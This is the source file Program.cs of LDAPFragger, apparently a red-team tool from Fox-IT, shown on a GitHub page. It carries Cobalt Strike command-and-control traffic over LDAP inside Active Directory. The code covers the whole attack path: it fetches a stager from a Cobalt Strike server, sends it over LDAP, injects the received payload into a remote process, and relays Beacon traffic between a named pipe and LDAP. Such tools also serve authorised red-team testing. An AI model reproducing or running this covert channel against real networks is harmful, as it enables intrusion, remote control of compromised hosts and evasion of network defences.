-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy pathProgram.cs
412 lines (335 loc) · 13.6 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
using System;
using LDAPFragger.Core;
// thx: https://www.cobaltstrike.com/downloads/externalc2spec.pdf
namespace LDAPFragger
{
class Program
{
private static string SERVER_IP = string.Empty;
private static int SERVER_PORT = 0;
private static string username = string.Empty;
private static string password = string.Empty;
private static string domain = string.Empty;
private static bool integratedAuth = false;
private static bool UseLDAPS = false;
private static bool IsClient = true;
public static bool Verbose = false;
static void Main(string[] args)
{
PrintBanner();
// Parse arguments
if (!HandleOptions(args))
{
PrintHelp();
return;
}
try
{
// Start client or server, depending on given arguments
if (IsClient)
{
Client();
}
else
{
Server();
}
}
// Generic exception handler. Fire me.
catch (Exception ex)
{
Console.WriteLine("\r\n[-] Exception occured: " + ex.Message);
Console.ReadKey();
}
}
/// <summary>
/// Handles all the logic for interacting with C2 over LDAP
/// </summary>
static void Client()
{
// amount of sleep between polling
int sleepInterval = 50;
// Initiate LDAP connection
Core.LDAP LDAPConnection = integratedAuth ?
new Core.LDAP(IsClient, UseLDAPS) :
new Core.LDAP(username, password, domain, IsClient, UseLDAPS);
if (!LDAPConnection.TestLDAPConnection())
{
Console.WriteLine("[-] Cannot connect to LDAP with the information provided.");
return;
}
// Autodiscover
if (!LDAPConnection.AutoDiscover())
{
return;
}
// Receive payload
bool gotPayload = false;
byte[] payload;
do
{
payload = LDAPConnection.Receive();
if (payload != null)
gotPayload = true;
//else
//System.Threading.Thread.Sleep(10);
} while (!gotPayload);
//Console.WriteLine("\n[+] Payload received. Payload size: {0}KB", payload.Length / 1024);
Misc.WriteGood(string.Format("Payload received. Payload size: {0}KB", payload.Length / 1024));
//sleep 1 second
System.Threading.Thread.Sleep(1000);
// Inject payload
Core.Needle.InjectRemote(payload, -1);
// Connect to named pipe
var NamedPipe = new Core.NamedPipe(LDAPConnection.pipeName);
// run indefintely
bool run = true;
do
{
try
{
// read data from pipe and relay it to LDAP
byte[] data = NamedPipe.ReadFrame();
if (data != null)
{
if (data.Length > 1)
Misc.WriteGood(string.Format("Relaying {0} bytes from pipe to LDAP", data.Length));
// Send data over LDAP
LDAPConnection.Send(data);
// sleep
System.Threading.Thread.Sleep(sleepInterval);
}
// Read data from LDAP and relay it the named pipe
data = LDAPConnection.Receive();
if (data != null)
{
if (data.Length > 1)
Misc.WriteGood(string.Format(" Relaying {0} bytes from LDAP to pipe", data.Length));
NamedPipe.SendFrame(data);
}
System.Threading.Thread.Sleep(sleepInterval);
}
catch (Exception ex)
{
if (ex.Message == "Beacon died.")
{
Console.WriteLine("[+] Disconnected from pipe \\\\.\\{0}", LDAPConnection.pipeName);
run = false;
break;
}
else
{
Console.WriteLine("[-] Exception occured: {0}", ex.Message);
run = false;
break;
}
}
} while (run);
}
/// <summary>
/// Handles the logic for communicating with the client over LDAP en transporting it to our C2 server
/// </summary>
static void Server()
{
// amount of sleep between polling
int sleepInterval = 50;
// connect to external C2
Core.Transport.Relayer Relayer = new Core.Transport.Relayer(SERVER_IP, SERVER_PORT);
if (Relayer.IsConnected)
Misc.WriteGood(string.Format("Connected to {0}:{1}", SERVER_IP, SERVER_PORT));
else
{
Console.WriteLine("[-] Cannot connect to {0}:{1}", SERVER_IP, SERVER_PORT);
return;
}
// Initiate LDAP connection
Core.LDAP LDAPConnection = integratedAuth ?
new Core.LDAP(IsClient, UseLDAPS) :
new Core.LDAP(username, password, domain, IsClient, UseLDAPS);
if (!LDAPConnection.TestLDAPConnection())
{
Console.WriteLine("[-] Cannot connect to LDAP with the information provided.");
return;
}
if (!LDAPConnection.AutoDiscover())
{
return;
}
// receive stager from C2
var payload = Stage.getStage(Relayer, LDAPConnection.pipeName, LDAPConnection.isX64);
Misc.WriteGood(string.Format("Payload received. Payload size: {0}KB", payload.Length / 1024));
// Send payload over LDAP to third party client
Misc.WriteGood(string.Format("Sending payload over LDAP..."));
LDAPConnection.Send(payload);
// run indefintely
bool run = true;
bool readController = false;
do
{
// Handle LDAP connection
byte[] data = LDAPConnection.Receive();
if (data != null)
{
Misc.WriteGood(string.Format("Relaying {0} bytes from LDAP to CS", data.Length));
// Send data over LDAP to controller
Relayer.Send(data);
readController = true;
} else
System.Threading.Thread.Sleep(sleepInterval);
// Wait for CS / LDAP
if (!readController)
continue;
// Handle CS connection
data = Relayer.ReadFrame();
if (data != null)
{
Misc.WriteGood(string.Format("Relaying {0} bytes data from CS to LDAP", data.Length));
LDAPConnection.Send(data);
readController = false;
}
else
System.Threading.Thread.Sleep(sleepInterval);
} while (run);
}
/// <summary>
/// Sanity checks for commandline arguments
/// </summary>
/// <param name="opts"></param>
static bool HandleOptions(string[] args)
{
if (!ParseArgs(args))
{
return false;
}
// Specified CS port but no CS IP
if (SERVER_PORT > 0 && string.IsNullOrEmpty(SERVER_IP))
{
Console.WriteLine("[-] Please specify Cobalt Strike IP address or hostname.");
return false;
}
// Specified CS IP but no CS Port
if (SERVER_PORT <= 0 && !string.IsNullOrEmpty(SERVER_IP))
{
Console.WriteLine("[-] Please specify Cobalt Strike Port.");
return false;
}
// Specified username, but no domain/password
if (!string.IsNullOrEmpty(username) &&
(string.IsNullOrEmpty(password) ||
string.IsNullOrEmpty(domain)))
{
Console.WriteLine("[-] Specify username, password and domain FQDN when not using AD integrated authentication.");
return false;
}
// specified password but no domain/username
if (!string.IsNullOrEmpty(password) &&
(string.IsNullOrEmpty(username) ||
string.IsNullOrEmpty(domain)))
{
Console.WriteLine("[-] Specify username, password and domain FQDN when not using AD integrated authentication.");
return false;
}
// specified domain, but no username/password
if (!string.IsNullOrEmpty(domain) &&
(string.IsNullOrEmpty(password) ||
string.IsNullOrEmpty(username)))
{
Console.WriteLine("[-] Specify username, password and domain FQDN when not using AD integrated authentication.");
return false;
}
IsClient = !(SERVER_PORT > 0 && !string.IsNullOrEmpty(SERVER_IP));
integratedAuth = (string.IsNullOrEmpty(username) &&
string.IsNullOrEmpty(password) &&
string.IsNullOrEmpty(domain));
return true;
}
/// <summary>
/// Parse commandline arguments
/// </summary>
/// <param name="args"></param>
static bool ParseArgs(string[] args)
{
bool result = true;
// Parse arguments
for (int i = 0; i < args.Length; i++)
{
string argument = args[i].ToLower();
argument = argument.TrimStart('-', '/');
// Cobalt Strike
if (argument == "cshost")
{
SERVER_IP = args[i + 1];
i++; continue;
}
if (argument == "csport")
{
SERVER_PORT = Convert.ToInt32(args[i + 1]);
i++; continue;
}
// LDAP
if (argument == "u" || argument == "username")
{
username = args[i + 1];
i++; continue;
}
if (argument == "p" || argument == "password")
{
password = args[i + 1];
i++; continue;
}
if (argument == "d" || argument == "domain")
{
domain = args[i + 1];
i++; continue;
}
// Verbose
if (argument == "verbose" || argument == "v") {
Verbose = true;
continue;
}
// LDAPS
if (argument == "ldaps") {
UseLDAPS = true;
continue;
}
// Help
if (argument == "h" || argument == "help" || argument == "?")
{
return false;
}
// Unknown argument
Console.WriteLine("Unknown argument: " + argument);
return false;
}
return result;
}
/// <summary>
/// Prints usage of this tool
/// </summary>
static void PrintHelp()
{
Console.WriteLine("\r\nFox-IT - Rindert Kramer");
Console.WriteLine("\r\nUsage:");
Console.WriteLine(" --cshost:\tIP address or hostname of the Cobalt Strike instance");
Console.WriteLine(" --csport:\tPort of the external C2 interface on the Cobalt Strike server");
Console.WriteLine(" -u:\tUsername to connect to Active Directory");
Console.WriteLine(" -p:\tPassword to connect to Active Directory");
Console.WriteLine(" -d:\tFQDN of the Active Directory domain");
Console.WriteLine(" --ldaps:\tUse LDAPS instead of LDAP");
Console.WriteLine(" -v:\tVerbose output");
Console.WriteLine(" -h:\tDisplay this message\r\n");
Console.WriteLine("If no AD credentials are provided, integrated AD authentication will be used.\r\n");
}
static void PrintBanner()
{
Console.WriteLine(@" _ _ __
| | | | / _|
| | __| | __ _ _ __ | |_ _ __ __ _ __ _ __ _ ___ _ __
| |/ _` |/ _` | '_ \| _| '__/ _` |/ _` |/ _` |/ _ \ '__|
| | (_| | (_| | |_) | | | | | (_| | (_| | (_| | __/ |
|_|\__,_|\__,_| .__/|_| |_| \__,_|\__, |\__, |\___|_|
| | __/ | __/ |
|_| |___/ |___/ ");
}
}
}